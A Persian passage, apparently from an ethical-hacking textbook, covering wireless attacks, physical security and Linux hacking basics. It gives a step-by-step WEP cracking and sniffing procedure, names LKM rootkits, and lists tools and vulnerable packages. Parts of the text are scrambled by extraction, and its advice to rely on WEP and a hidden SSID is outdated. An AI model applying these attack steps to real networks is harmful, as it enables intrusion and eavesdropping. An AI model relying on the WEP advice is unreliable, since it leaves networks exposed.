Access point تقلبي ،access point هاي وايرلس هستند كه براي اتصال به شبكه هدف، مجوز  هايي در شبكه

تقلبي در شبكه قرار  access pointتواند يك  هكر مي. كنند اي در شبكه باز مي ها، حفره access pointاين . ندارند

 accessهر . به شبكه، يك حفره امنيتي ايجاد كند access point، با اتصال يك هتساوخدهد يا كارمندي به طور نا

point تواند توسط شخصي كه به  تقلبي ميaccess point  متصل است مورد استفاده قرار گيرد از جمله هكر، و

جهت اسكن به همين دليل، داشتن سياست امنيتي براي شبكه وايرلس سازمان . دسترسي به شبكه كابلي را بدهد

از جمله ابزارهايي كه  .تقلبي به شبكه متصل است access pointي است تا مطمئن شويم كه شبكه وايرلس ضرور

  .MiniStrumblerو  NetStumbler: شود عبارتند از تقلبي استفاده مي access pointبراي شناسايي 
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  ابزارهاي هك

ClassicStumbler اطلاعات ،access point دهد هايي كه داخل رنج هستند را نمايش مي.  

  

AirFartشود هاي وايرلس و محاسبه قدرت سيگنال آنها استفاده مي ، براي شناسايي دستگاه.  

  

Hotspotterهاي وايرلس است ، ابزاري خودكار براي تست نفوذپذيري كلاينت.  

  

 .Cain & Abel، و AP Radar ،ASLEAP: برخي ديگر از ابزارهاي هك عبارتند از

  

  وايرلسشبكه هاي هك  تكنيك

  :گيرند هاي زير قرار مي بسياري از حملات براي هك وايرلس، در دسته

، WEPها، شامل شكستن كليدهاي احراز هويت  اين مكانيزم :هاي شكستن رمزگذاري و احراز هويت مكانيزم

WPA و ،LEAP هاي كاربر  توانند با استفاده از آنها، به شبكه وايرلس متصل شوند يا داده هكرها مي. سيسكو است

  .ديگري را بدست آورند و آنها را رمزگشايي كند

  .است hotspotبدست آوردن پسوردها يا اطلاعات محرمانه ديگر از شبكه وايرلس غير رمز شده يا  :استراق سمع

DoS: DoS تر از فركانسي كه  با ايجاد فركانس راديوي قويAccess Point كند، در لايه فيزيكي انجام  ارسال مي

. شوند ساختگي، وصل مي access pointشود و كاربران به يك  مي access pointگيرد و سبب از كار افتادن  مي

DoS ، در لايهLLC هاي  با ايجاد فريمdeauthentication ) حملاتdeath( هاي ساختگي،  يا با توليد پيوسته فريم

  .گيرد انجام مي

AP masquerading  ياspoofing :access point  هاي ساختگي، با تنظيمSSID  يا نام شبكه، خود را به عنوان

  .كند قانوني وانمود مي access pointيك 

MAC spoofing: زند و با جعل  هكر، خود را به عنوان يك كلاينت وايرلسي جا ميMAC address  ،كاربر ديگر

MAC filtering زند را دور مي.  

هاي  روش. تواند به شبكه وايرلس نفوذ كند به درستي امن نشود، هكر به آساني مي access pointدر صورتيكه 

  .س وجود داردهاي وايرل زيادي براي سواستفاده از نقاط ضعف شبكه
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  هاي وايرلس مراحل هك شبكه

 .گردد هاي وايرلس فعال مي شبكهدر محيط به دنبال  NetStumblerهكر در اولين گام، با استفاده از ابزار 

اي رمز شده است يا نه و  كند تا بفهمد آيا شبكه استفاده مي NetStumblerيا  kismetسپس از ابزارهايي همچون 

 Accessكند تا نحوه رمزگذاري شبكه،  پس از آن، شبكه را آناليز مي. كند اي را براي هك انتخاب مي سپس شبكه

point  ،هاSSID  در مرحله چهارم، هكر وضعيت كارت شبكه را روي . را كشف كند... وmonitor mode  تنظيم

 SSIDهاي وايرلس به همراه  ، سريعا شبكهAirdump. كند مي captureها را  ، بستهAirdumpند و با استفاده از ك مي

كند تا  را اجرا مي Aircrackپس از چند ساعت، . كند ها مي كردن بسته captureكند و شروع به  آنها را ليست مي

ف شد، هكر، كارت شبكه را بطور صحيح تنظيم كش WEPزمانيكه كليد . شروع به كرك كند و كليد را كشف كند

كند و به دنبال  ، شروع به گوش دادن به شبكه ميWireSharkكند تا به شبكه وايرلس متصل شود و با استفاده از  مي

  .گردد مي Telnetو  FTP ،POPهاي غير رمز شده از قبيل  پروتكل
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  هاي وايرلس هايي شناسايي شبكه روش

  

  ابزارهاي هك

  :هاي وايرلس عبارتند از برخي از ابزارهاي اسكن در شبكه

Kismet ،PrismStumbler ،MacStumbler ،Mognet ،WaveStumbler ،StumbVerter ،AP Scanner ،

Wireless Security Auditor ،AirTraf ،Wifi Finder و ،eEye Retina WIFI.  

  

  :عبارتند ازهاي وايرلس  برخي از ابزارهاي استراق سمع در شبكه

AiroPeek ،NAI Wireless Sniffer ،WireShark ،VPNmonitoral ،Aerosol ،vxSniffer ،EtherPEG ،

DriftNet ،WinDump ،ssidsniff.  

  

  هاي وايرلس هاي امن سازي شبكه روش

هاي  از آنجائيكه تكنولوژي وايرلس در مقايسه با تكنولوژي كابلي، جديدتر است، براي امن سازي آن، گزينه

  .، تقسيم بندي كردOSIهاي مدل  توان با استفاده از لايه هاي امنيتي را مي روش. كمتري وجود دارد
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  :عبارتند از 2هاي امن سازي در سطح لايه  روش

• WPA 

• WPA2 

• 802.11i 

  :عبارتند از 3سازي در سطح لايه روش امن 

• IPSec  ياSSL VPN 

  :عبارتند از 7روش امن سازي در سطح لايه 

• SSH ،HTTPS و ،FTPS. 

  :هاي وايرلس عبارتند از هاي امن سازي شبكه برخي ديگر از روش

• MAC Filtering : ليستي ازMAC Address هاي مركزي وايرلس  هاي مجاز را تهيه و در دستگاه كلاينت

 .ظيم كنيدتن

• SSID :SSID پيش فرض را تغيير دهيد. 

 .براي امن سازي شبكه وايرلس، از فايروال استفاده كنيد تا جلوي دسترسي غيرمجاز را بگيريد: فايروال •

 .هاي وايرلس، پسورد قرار دهيد بر روي تمام دستگاه •

 .را غير فعال كنيد broadcastingهاي شبكه،  access pointبر روي  •

 .انتخاب نكنيد كه مشخص كننده شركت شما باشد يمانتان،  شبكهبر روي  •

• Access point ها را به دور از پنجره قرار دهيد. 

• DHCP  را غيرفعال كنيد و ازIP دستي استفاده كنيد. 

 .ها ندهيد access pointاجازه مديريت از راه دور را به  •

 .ها، از رمزگذاري استفاده كنيد access pointدر  •

• Firmware  ،به روز كنيدهايتان را بطورمنظم. 

 .SSLها را در لايه اپليكشن، رمزگذاري كنيد از قبيل  داده •

 .را تغيير دهيد IPاز قبيل آدرس  access pointتمام تنظيمات پيش فرض  •

 .امنيت شبكه وايرلس را بصورت مرتب تست كنيد •

 .در شبكه وايرلس خود استفاده كنيد VPNاز  •
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 يازدهم فصل

 

 امنيت فيزيكي
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  مقدمه

هاي  براي جلوگيري از از دست دادن يا سرقت داده ITامنيت  هاي بخشترين  امنيت فيزيكي، يكي از مهم

را فراهم آورد، آنگاه معيارهاي امنيتي فني ديگر  يبسانم يفيزيكاگر سازماني نتواند امنيت . محرمانه و حساس است

  .توانند دور زده شوند ها نيز مي IDSها و  از قبيل فايروال

با امن سازي فيزيكي شبكه و  ."زمانيكه شما داخل شديد، شبكه مال شماست"گويد  مياي وجود دارد كه  جمله

ها، و قرار  ها روي سيستم keylogger، جاسازي tapeها يا درايوهاي  تان، از سرقت تجهيزاتي همچون لپ تاپ سازمان

بنابراين، مستعد امنيت فيزيكي، به اشخاص وابسته است . كنيد ها روي شبكه، جلوگيري مي access pointدادن 

مثلا ورود به ساختمان پشت سر يك كارمند و عدم ارائه كارت شناسايي يا كليد  حملات مهندسي اجتماعي است

  .)زدن مشكل امنيت فيزيكي بنابراين، دور(

  

  امنيت فيزيكي رويدادهاي نقض

هاي بزرگ، يكسري از اطلاعات  كنند در دولت يا شركت هر روزه، خبرهاي زيادي منتشر مي شود كه بيان مي

براي مثال، ممكن است زمانيكه كارمندي در  .شود محرمانه كارمندان افشا ميافتد و اطلاعات  مشتريان به خطر مي

اطلاعات محرمانه يا حساس كه به  .حال مسافرت است، در سرقت از منزل او، يا از اتاق هتل، لپ تاپ هم دزديده شود

  .تواند خطرناك باشد افتد مي دست هكر مي

  

 دنرادن ار كامپيوترشان تقرساغلب افراد انتظار . فيزيكي استسرقت تجهيزات، يكي از حملات رايج امنيت 

 افتكهاي استاندارد امنيتي شبكه ا كنند و تنها به مكانيزم هايشان، بي توجهي مي بنابراين در مورد قفل كردن سيستم

  .كنند مي
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رسي فيزيكي به زمانيكه هكر توانست دست. بسياري از حملات داخلي، در نتيجه نقض امنيت فيزيكي است

هاي امنيتي رايج  از ضعف برخي. تواند مخرب باشد نتايج آن مي سرور، يا يك كلاينت، يا يك پورت شبكه پيدا كند،

  :آيند عبارتند از كه به دليل كمبود امنيت فيزيكي به وجود مي

 ها rootkitها، يا  backdoorها،  ها، تروجان ها، ويروس keyloggerافزارهايي از قبيل  نصب نرم •

 ها شناسايي و بدست آوردن اطلاعات احراز هويتي از قبيل پسوردها يا گواهي •

هاي كارت  استراق سمع اطلاعات محرمانه از قبيل پسوردها و شماره تهجارتباط فيزيكي به شبكه كابلي  •

 اعتباري

روي ره شده د براي شكستن پسوردهاي ذخينتوان هايي كه مي آوري داده دسترسي به سيستم براي جمع •

 سيستم محلي استفاده شوند

در شبكه براي ايجاد يك شبكه وايرلس باز با امكان دسترسي به  تقلبي access pointفرصت براي قرار دادن  •

 شبكه كابلي

 سرقت مستندات كاغذي يا الكترونيكي •

 سرقت اطلاعات حساس فكس •

  )تاكيد بر خرد كردن اسناد مهم(حمله آشغال گردي  •

  

  امنيت فيزيكي

  :شود بطور كلي، معيارهاي امنيتي به سه روش زير دسته بندي مي

ها،  ها، شامل نگهبانان امنيتي، روشنايي، حصار، قفل معيارهاي امنيتي براي جلوگيري از دسترسي به سيستم:فيزيكي

مانيتور و  ،ها و آلارم CCTVهاي  و توسط دوربين باشدمحدود  ساختمان،نقاط دسترسي  بايستي. ها هستند و آلارم

ها،  tapeها،  ها و كول ديسك دسترسي به لپ تاپ .ورود به ساختمان تنها براي افراد مجاز محدود شود. محافظت شوند

صفحه مانيتور از ديد افرادي كه در حال عبور هستند، مخفي باشد . محدود و بصورت محافظت شده باشدها  و ديسك

كنند، آن را قفل  را الزام كند زمانيكه به هر دليلي كامپيوترشان را ترك ميسازي شود كه كاربران  و سياستي پياده

)lock (هاي كامپيوتري كه داراي اطلاعات حساسي هستند بايد در محيطي بسته و قفل شده، محافظت  سيستم. كنند

  ... .نياز به احراز هويت داشته باشد و درب رك قفل باشد و  ،شوند مثلا براي دسترسي به اتاق

، و اسكن ويروس و تروجان بايد spyware، فيلترينگ محتواي IDSها،  قبيل فايروال معيارهاي امنيتي فني از :فني

  .دور، پياده سازي شود هها و سرورهاي را ها، شبكه روي تمام كلاينت
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در سياست امنيتي سازمان،  ،ياتي براي آناليز تهديدات و انجام ارزيابي ريسكمعيارهاي امنيتي عملبايد  :عملياتي

  .مستند شود

  

  ضرورت امنيت فيزيكي چيست؟

به همان دليل هم نياز به معيارهاي امنيت ) فني يا عملياتي(به همان دليل كه نياز به انواع ديگر امنيت داريد 

هاي  در صورت وجود ضعف .ستفيزيكي داريد و آن جلوگيري از هكرها براي دسترسي به شبكه و اطلاعات شما

توانند به دلايل طبيعي  ها مي علاوه بر اين، داده. دسترسي پيدا كند تواند به آساني هكر مي معيارهاي امنيت فيزيكي،

كنند، مشكلات طبيعي  اي براي امنيت طراحي مي زمانيكه برنامهيسك ان ربنابراين، مدير، از بين روند يا خراب شوند

  :از موارد زير است يريگشيپ تهج ،معيارهاي امنيت فيزيكي. را نيز در نظر بگيرند

 دسترسي غير مجاز به يك سيستم كامپيوتري •

 ها سرقت اطلاعات از سيستم •

 هاي ذخيره شده بر روي يك سيستم خرابي داده •

  ها بنا بر دلايل طبيعي ها يا خرابي سيستم از دست دادن داده •

  

  ضرورت امنيت فيزيكي
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  امنيت فيزيكي است؟چه كسي مسئول 

  :در يك سازمان، افراد زير مسئول تامين امنيت فيزيكي هستند

 سازمان يمامور امنيت فيزيك •

 متخصصان سيستم اطلاعاتي •

 رئيس ماموران اطلاعاتي •

 كاركنان •

  

مامور امنيت فيزيكي سازمان، . هستند يهاي امنيت فيزيك در يك سازمان، تمام افراد، مسئول اجراي سياست

  .مسئول ايجاد استاندارد امنيت فيزيكي و پياده سازي معيارهاي امنيت فيزيكي است

  

  دهند عواملي كه امنيت فيزيكي را تحت تاثير قرار مي

فيزيكي توانند امنيت  عواملي كه مي. پذيرد كي، تاثير مييامنيت فيزيكي، با عواملي خارج از كنترل امنيت فيز

  :يك سازمان را تحت تاثير قرار دهند عبارتند از

 تخريب •

 سرقت •

 عوامل طبيعي از قبيل •

o زلزله 

o آتش سوزي 

o سيل 

بسياري از . اي براي آنها داشته باشند ها آشنا باشند و طبيعتا برنامه متخصصان امنيتي، بايد با اين ريسك

 disaster(يا برنامه ترميم مشكلات )) business continuity plan )BCP(برنامه تداوم كسب و كار ها، يك  سازمان

recovery plan )DRP ((براي اين احتمالات دارند.  
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  چك ليست امنيت فيزيكي

براي اين منظور از ديوار، گيت، . ورود به شركت بايد تنها براي افراد مجاز امكان پذير باشد :محيط شركت •

 .حصار، نگهبان، و آلارم بايد استفاده شود

  .محافظت بهتر براي ورود استدر شكل زير، تصوير سمت چپ نشان دهنده 

  

  .محيط استفاده شودهاي نظارتي نيز بايد براي مانيتور كردن  از دوربينهمچنين 

  

 سپ شوند خارج مي وآنجا وارد  همكان شلوغي است كه افراد زيادي بمعمولا قسمت پذيرش،  :پذيرش •

 : بايستي اقداماتي جهت محافظت از آن صورت گيرد از قبيل

o  دنگيرنبايد بر روي ميز پذيرش قرار ... فايل ها و مستندات، كول ديسك، و 

o دند كه جلوي دسترسي افراد به اين ناحيه را بگيرناحي شواي طر ميزهاي پذيرش بايد بگونه 

o صفحه كامپيوتر بايد از ديد افراد ديگر محافظت شود 

o  ،مانيتور، كيبورد، و ديگر تجهيزات روي ميز پذيرش، قفل باشندزمانيكه كارمند پذيرش نيست 
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  .پذيرش است تمسقدر شكل زير، تصوير سمت چپ، محيطي بهتر براي 

 

اقدامات زير براي اين منظور . ترين عامل در هر شبكه، سرور است و بايد داراي امنيت بالا باشد مهم :سرور •

 :تواند صورت گيرد مي

o احراز هويت شوند و تنها افراد مجاز حق ورود را داشته باشند دارفا ،براي ورود به اتاق سرور دياب 

o درب رك قفل باشد 

o راه اندازي )boot(  سرور از طريقfloppy  وCD-ROM  مجاز نباشد و درايوهاي مربوط به آنها قفل

 باشد

o  سيستم عاملDOS  از طريق  وبايد از آنها پاك شود تا مهاجم نتواند سرور را بصورت راه دورDOS 

 .اندازي كند راه

 

بايستي كارمندان درباره امنيت . كنند اي است كه اكثر كارمندان كار مي هناحي :ناحيه ايستگاه كاري •

 :توان با استفاده از اقدامات زير، اين ناحيه را امن ساخت همچنين مي. ببينند فيزيكي آموزش

o هاي نظارتي استفاده از دوربين 

o قفل كردن صفحه مانيتورها و كامپيوترها 

o هاي كاري طراحي خوب ايستگاه 

o ها جلوگيري از استفاده از كول ديسك 
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  .كنيد ي شده است مشاهده ميهاي كاري كه بصورت بد طراح در شكل زير، نمايي از ايستگاه

 

• Access point بتواند به  ركهاگر  :هاي وايرلسaccess point تواند مثل ديگر  هاي شركت متصل شود، مي

 :براي جلوگيري از آن، بايد اقدامات زير صورت گيرد. كارمندان، وارد شبكه آنجا شود

o  استفاده از رمزگذاريWEP 

o  مخفي ساختنSSID 

o  استفاده از پسورد براي ورود بهaccess point 

o قوي بودن پسورد براي جلوگيري از شكستن آن 

 

اين تجهيزات بايد انجام  اقدامات زير براي امن سازي :ها تجهيزات ديگر از قبيل فكس، و كول ديسك •

 :شود

o ها نبايد بر روي پاسخگويي خودكار  مودم)auto answer (تنظيم شده باشند 

o فكس كه بر روي ميز پذيرش قرار دارند، بايد در زمانيكه كارمند پذيرش نيست، قفل  هاي ماشين

 باشند
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o اند  هايي كه خراب شده هاي عمومي قرار داشته باشند و كول ديسك ها نبايد در مكان كول ديسك

 بايد بصورت فيزيكي نابود شوند

 

. كنترل دسترسي، براي جلوگيري از دسترسي غيرمجاز به نواحي عملياتي حساس است :كنترل دسترسي •

 :توان از موارد زير براي كنترل دسترسي استفاده كرد مي

o جداسازي نواحي كاري 

o كنترل دسترسي بوسيله بيومتريك 

o هاي ورود كارت 

o نشان شناسايي 

 

 . شخصي را مسئول نگهداري از تجهيزات كامپيوتري بكنيد :نگهداري تجهيزات كامپيوتر •

بايد مطمئن . رود ، دستگاهي است كه براي ضبط مكالمات تلفني بكار ميwiretap :استراق سمع مكالمات •

هاي روكش دار  ها از كابل براي اين منظور بايد براي تمام سيم. كند شويد كسي مكالمات شما را شنود نمي

)shilded (كنيد و نيز هيچ سيمي را بدون روكش نگذاريد استفاده. 
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دسترسي راه دور، روشي آسان براي كارمندان است تا بتوانند از خارج شركت كار  :هاي راه دور دسترسي •

تواند با استفاده از آن، به شبكه  هايي است كه هكر مي اما يكي از راه. كنند و به شبكه شركت متصل شود

براي جلوگيري از استراق سمع، بايد اطلاعات در طول اين فرآيند، رمز شده . شركت دسترسي پيدا كند

دسترسي از راه دور بسيار خطرناك است براي اينكه هكر در نزديكي ما قرار ندارد و احتمال دستگير . باشند

 .تر است شدنش، كم

  

  امنيت فيزيكي يابزارهابرخي از 

هايي وجود دارند كه زمانيكه لپ تاپ به اينترنت متصل است، مكان  برنامه :ابزارهاي رديابي محل لپ تاپ دزديده

، )Ztrace Gold )www.ztrace.com( ،CyberAngel )www.sentryinc.com: از جمله. گويند لپ تاپ را مي

ComputracePlus )www.computrace.com .(دتوانيد مكان فعلي لپ تاپ را بيابي با استفاده از اين ابزارها مي.  

عينك جاسوسي، دوربين ديد در شب، اسپري براي ديدن، : برخي از اين ابزارها عبارتند از :هاي جاسوسي دستگاه

توانند توسط پرسنل شركت شما بصورت  اين ابزاها مي... . ، ضبط كننده مكالمات، تغيير دهنده صدا و GPSردياب 

  .بياندازدخواسته با ناخواسته حمل شوند و امنيت فيزيكي را به خطر 
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DeviceLock:  ها است تا كامپيوترهاي شبكه را از حملات داخلي و خارجي، محفوظ  كنترل دستگاهراه حلي براي

  .دنك
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 دوازدهم فصل

 

 هك لينوكس
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  مقدمه

اپن سورس است و اجازه تغيير در آن ها است براي اينكه  مديران سيستم يارب سيستم عامل محبوبلينوكس 

. نام دارد distributionهاي مختلفي براي آن وجود دارد كه  بخاطر اپن سورس بودن لينوكس، نسخه. دهد را مي

هاي رايج  برخي از توزيع. هستندها و سرورها  ها، به عنوان يك سيستم عامل تجاري براي كلاينت برخي از اين توزيع

 .است Knoppixو  Gentooهاي رايگان آن نيز  است برخي از  ورژن SUSEو  Debian ،RedHat ،Mandrakeآن، 

هاي لينوكس، سبب انتخاب لينوكس به  نين افزايش تعداد برنامهانعطاف پذيري و هزينه لينوكس، و همچ

هايي  ضعفهر چند كه امنيت لينوكس بيشتر از ويندوز است اما . ها شده است عنوان سيستم عامل بسياري از سيستم

امل و اين فصل در مورد استفاده از لينوكس به عنوان سيستم ع. تواند مورد سواستفاده قرار گيرد كه مي دراد

  .دهد هاي امن سازي آن براي جلوگيري از حمله توضيح مي روش

  

  اساس لينوكس

استفاده  نيز تواند از لينوكس لينوكس بر مبناي يونيكس است و هر كسي كه با محيط يونيكس آشنا باشد مي

  .دنوجود دار ي لينوكسها در اغلب توزيع ،بسياري از دستورات استاندارد. كند

بسياري از . GNU emacsو  vi ،ex ،pico ،joveاز قبيل  دنراد دوجودر لينوكس  يدايزويرايشگرهاي متني 

 يياه محدوديتاما اين ويرايشگر به دليل قديمي بودن، . دهند را ترجيح مي viكاربران يونيكس، ويرايشگر ساده مثل 

  .اند د سال اخير محبوبيت فراواني كسب كرده، در چنemacsاي مثل  دارد اما ويرايشگرهاي پيشرفته

هستند به اين معني كه بصورت رايگان در جامعه توزيع  GNUافزار  هاي پايه لينوكس، نرم بسياري از يوتيليتي

و  BSDكنند كه در نسخه استاندارد  هاي پيشرفته را پشتيباني مي قابليت GNUهاي  همچنين يوتيليتي. اند شده

  .سازگار باقي خواهند ماند BSDبا  GNUهاي  با اين حال، يوتيليتي. يونيكس وجود ندارد

دهد تا دستورات را وارد كند و سيستم، دستورات  ل، يك برنامه خط دستوري است كه به كاربر اجازه ميش

، )job control(كنترل پردازش  ها، داراي قابليتهايي از قبيل شلعلاوه بر اين، بسياري از . كند اجرا مي را كاربر
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اي  اسكريپت، برنامه شل. ها هستند اسكريپت شلزبان دستوري براي نوشتن  وچندين پردازش، همزمان مديريت 

  .است MS-DOSاي  شود و مشابه فايل دسته است كه به زبان دستوري شل نوشته مي

 C شلبراي مثال،  .، زبان دستور استآنهاترين تفاوت بين  مهم. وجود دارد براي لينوكس ي زياديها شل

)csh ( مشابه زبان برنامه نويسيC ل. استش classic Bourne )sh (انتخاب . كند از زبان دستوري ديگري استفاده مي

دهد و مشخص كننده قابليتهاي در دسترس براي كاربر  زباني دستوري است كه ارائه مي، اغلب بر مبناي شليك 

  .است

GNU Bash ، كه مشتقي ازBash ،كنترل پردازش  بسياري از قابليتهاي پيشرفته همچون است)job 

control(درادها  اينترفيسي براي ويرايش فايلو ها،  ، تاريخچه دستورات، تكميل دستورات و اسم فايل. ل رايج ش

 zsh ،small Bourneهاي ديگر عبارتند از  لش. استپيشرفته  هايبا عملكرد Cل اي از ش است كه نسخه tcshديگر، 

likne shel ،ksh ،BSD's ash  وrc.  

  

  دستورات پايه لينوكس

  :ها ها و دايركتوري فايل

 كاراكتر است 256حداكثر طول فايل،  •

 بين حروف بزرگ و كوچك تفاوت وجود دارد •

 داشتن پسوند براي فايل ضروري نيست •

touch file.txt : فايلfile.txt كند را ايجاد مي  

cat [file] :دهد محتويات داخل فايل را نشان مي  

head file.txt :10 همچنين دستور . دهد خط اول فايل متني را نمايش ميhead -25 file.txt ،25  خط او فايل را

  دهد نمايش مي

tail file.txt :10 همچنين دستور  .دهد خط آخر فايل متني را نمايش ميtail -25 file.txt، 25  خط آخر فايل را

  دهد ينمايش م

cp file newfile : براي كپي كردن فايل  

mv file newfile :براي جابجا كردن فايل  

mkdir [directoryname] :براي ساخت فولدر  
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rm file :براي حذف كردن فايل  

ls : معادل دستورdir دهد در ويندوز است و محتويات مسير جاري را نشان مي  

pwd :دهد مسير جاري را نشان مي  

arp : براي بررسي ارتباط اترنتي موجود و آدرسIP شود استفاده مي  

ifconfig :شود استفاده مي  هاي شبكه ابزار خط دستوري كه براي پيكربندي يا بررسي تمام اينترفيس  

netstat :دهد ها مي اي و وضعيت سوكت اي از ارتباطات شبكه خلاصه  

nslookup : نام دامين و اطلاعاتIP كند سرور را بررسي مي  

ping :گرداند يا خير سي كند تا پاسخ درست برميرتا بر دنك يم لاسراهاي آزمايشي به يك سرور  بسته  

w : تمامsession دهد هايي كه به اين كامپيوتر شده است را نشان مي  

ps :دهد هاي در حال اجراي سرور را نشان مي تمام پردازش  

route :دهد ان ميجدول مسيريابي سرور را نش  

shred : فايل را به صورت امن باoverwrite كند كردن محتوا، پاك مي  

traceroute :كند يك كامپيوتر رديابي مياي موجود را به  مسيرهاي شبكه  

adduser user1 :ساخت كاربر  

password user1 : قرار دادن پسورد براي كاربرuser1 
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  :هاي لينوكس دايركتوري

bin :اجرايي(باينري هاي  فايل(  sbin :هاي باينري سيستمي  فايل)شود توسط مديران استفاده مي(  

etc :هاي پيكربندي فايل  include :هاي  فايلinclude  

lib :اي هاي كتابخانه فايل  src :هاي منبع فايل  

doc :هاي اسناد فايل  man :هاي  فايلmanual )راهنما(  

share :شدههاي به اشتراك گذاشته  فايل  

  

  نحوه كامپايل كرنل لينوكس

كد منبع به عنوان . به خاطر طبيعت اپن سورس بودن لينوكس، كد منبع بصورت رايگان توزيع شده است

هاي باينري، در دسترس  فايل .كاركرد صحيح سيستم عامل، كامپايل شوند هستند كه بايد براي هاي باينري فايل

سه عموما، . ي در آنها ايجاد كند تا عملكرد آنها را تغيير دهداتتواند آنها را دانلود و تغيير همگان هستند و هر كسي مي

افزاري داشته باشيد كه بسيار  اول اينكه، ممكن است شما سخت. دليل براي كامپايل مجدد كرنل لينوكس وجود دارد

داشته  يممكن است شما مشكلاتدوم اينكه، . وجود نداشته باشد CDراي آنها، ماژول كرنل بر روي د و بجديد باش

افزارهاي جديدي داشته باشيد كه نياز  و نهايتا اينكه، ممكن است نرم. اصلاح سيستم عامل برطرف شوندباشيد كه با 

  .به نسخه جديدتر سيستم عامل داشته باشند

كنند محتاط باشند براي اينكه، ممكن است شامل تروجان  كه از آن، دانلود مي يياه كاربران بايد درباره سايت

  .هاي قابل اعتماد و شناخته شده، دانلود كنيد به دلايل امنيتي، لينوكس را تنها از وب سايت. باشند backdoorيا 

  است ftp.kernel.orgترين سايت براي دانلود كرنل لينوكس،  رايج

  

  :پيكربندي و كامپايل كرنل لينوكس، مراحل زير را انجام دهيدبراي دانلود، 

روي سيستم لينوكس دانلود  usr/src/آخرين نسخه سيستم عامل را پيدا كنيد و آن را داخل دايركتوري  .1

 .براي باز كردن آن استفاده كنيد tar zxfاز دستور . كنيد

 makeتغيير دهيد و  usr/src/Linux/دايركتوري را به . مرحله بعدي، پيكربندي كرنل لينوكس است .2

menuconfig اي را نشان  سازد و سپس به سرعت پنجره اين دستور، تعدادي برنامه مي. را تايپ كنيد

 انجامپس از . پيكربندي كرنل را تغيير دهيد هاي مختلف دهد جنبه به شما اجازه مي menuپنجره  .دهد مي

اولين دستور، درختي . را تايپ كنيد make dep; make cleanتغييرات ضروري، تنظيمات را ذخيره كنيد و 
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با تنظيماتي كه شما در مرحله ها،  اين وابستگي ممكن است .سازد هاي متقابل در منابع كرنل مي از وابستگي

هاي ناخواسته از نسخه قبلي  ، تمام فايلcleanبا استفاده از دستور  .دنايد، تغيير كن پيكربندي انتخاب كرده

 .شود كرنل پاك مي

، ممكن است زمان بيشتري صرف كنند براي اينكه آنها make modulesو  make zImageدستورات بعدي،  .3

 .در حال كامپايل كرنل هستند

نصب  boot/در در سيستم مبتني بر اينتل، كرنل با دستور زير . آخرين مرحله، نصب كرنل جديد است .4

 :شود مي

cp /usr/Linux/src/arch/i386/boot/zImage/boot/newkernel 

نصب  lib/modules/ها را در  اين دستور، ماژول. استفاده كنيد make modules_installاز دستور  سپس .5

 .كند مي

 :را ويرايش كنيد تا  بخشي مشابه زير را اضافه كنيد etc/lilo.conf/سپس،  .6

image = /boot/newkernel 

label = new 

read-only 

اگر كار كرد، آن . كند انتخاب كنيد و كرنل جديد را بارگذاري مي liloدر راه اندازي مجدد، كرنل جديد را در  .7

 .انتقال دهيد lilo.confرا به موقعيت اوليه در 

Linux live CDاين با استفاده از . ، انتخاب خوبي براي تازه كارها در لينوكس استCD توانيد بدون  ها، مي

براي استفاده از . اينكه لينوكس را روي سيستم نصب كنيد، سيستم عامل را تست و سپس استفاده كنيد

CD  هايlive توانيد به سايت  ميwww.distrowatch.com  مراجعه كرده و توزيع مناسب آن را انتخاب و بر

  .اندازي كنيد ا از طريق آن راهرا داخل دستگاه بگذاريد و كامپيوتر ر CDاين . رايت كنيد CDروي 
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  GCCدستورات كامپايل 

GCC يك كامپايلر خط دستوري ،)command-line (شما . سازد گيرد و آن را قابل اجرا مي است كه كد را مي

و فرترن  ++C ،Cهاي  اين كامپايلر، براي كامپايل و اجراي برنامه. دانلود كنيد http://gcc.gnu.orgتوانيد آن را از  مي

  .شوند شود بنابراين آنها در لينوكس هم اجرا مي استفاده مي

  :شود براي استفاده به عنوان يك برنامه استفاده مي GCCبا  ++Cدستور زير براي كامپايل كد 

g++ filename.cpp –o outputfilename.out 

  :رت زير استبراي استفاده از آن به عنوان يك برنامه بصو GCCبا  Cدستور كامپايل كد 

gcc filename.c –o outputfilename.out 

  

  هاي كرنل لينوكس نحوه نصب ماژول

سيستم عامل، عملكردي را  كامپايل دوبارهد كه بدون نده ، به شما اجازه مي)LKM(هاي كرنل لينوكس  ماژول

ايجاد  LKMتواند به آساني به عنوان يك  مي rootkitاين است كه يك  LKMخطر استفاده از  .به آن اضافه كنيد

مثالي . ها را فقط از منابع معتبر دانلود كنيد LKMبنابراين، شما بايد . كند شود و اگر بارگذاري شود، كرنل را آلوده مي

ين كنند، شناسايي ا از آنجائيكه آنها كرنل را آلوده مي. Rtkit، و Knark ،Adore: ها عبارتند از LKM rootkitاز 

rootkit تواند  زمانيكه سيستمي به خطر افتاد، هكر مي. ها، بسيار دشوار استLKM  را در دايركتوري/tmp  يا

/var/tmp تواند توسط مدير سيستم مانيتور  اي، نمي ها، و ارتباطات شبكه ها، فايل قرار دهد كه با مخفي كردن پردازش

آلوده شده است، و انتخاب كرده  LKM rootkitيستمي كه با فراخواني سيستم، با آنهايي كه هكر بر روي س. شود

  .است modprobe LKMبصورت  LKMدستور بارگذاري . شود است جايگزين مي

  

  هاي لينوكس آسيب پذيري

برخي از آسيب . تواند به آن دسترسي داشته باشد از آنجائيكه كد منبع لينوكس در دسترس همگان است، هكر مي

  :دارد عبارتند ازهايي كه وجود  پذيري

• Appache ،balsa ،bind ،bugzilla ،cdrecord ،cfengine 

• Cron ،cups ،cvs ،ethereal (many) ،evolution ،exim ،fetchmail (many) ،fileutils 
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• Gdm ،ghostscript ،glibc ،gnupg ،gzip ،hylafax ،inetd ،iproute ،KDE ،kerberos ،kernel 

• Lprng ،lsh ،lynx ،mailman ،man ،mozilla ،mpg123 ،mplayer ،mutt ،MYSQL ،openssh ،
openssl 

• Perl ،pine ،PHP ،postfix ،PostgreSQL ،proftpd ،python ،rsync ،samba ،screen ،sendmail ،

snort ،stunnel ،sudo ،tcpdump ،vim ،webmin ،wget ،wu-ftpd ،xchat ،XFree86 ،xinetd ،xpdf ،
zlib 

تواند فرآيند اسكن پورت را انجام دهد و به دنبال  سيستم هدف مشخص باشد، هكر مي IPزمانيكه آدرس 

 TCPپورت دارد هم براي  65535هر سيستمي داراي . هايي در سيستم باشد تا بتواند به آن دسترسي پيدا كند حفره

ها راهي بالقوه براي نفوذ به سيستم  دام از اين پورتككه هر ) پورت 131070در مجموع (دارد  UDPو هم براي 

  .هستند

  ابزارهاي هك
Nmapاين ابزار . هايي كه بر روي آنها فعال هستند، است ، ابزاري براي مشخص كردن كامپيوترهاي روشن و سرويس
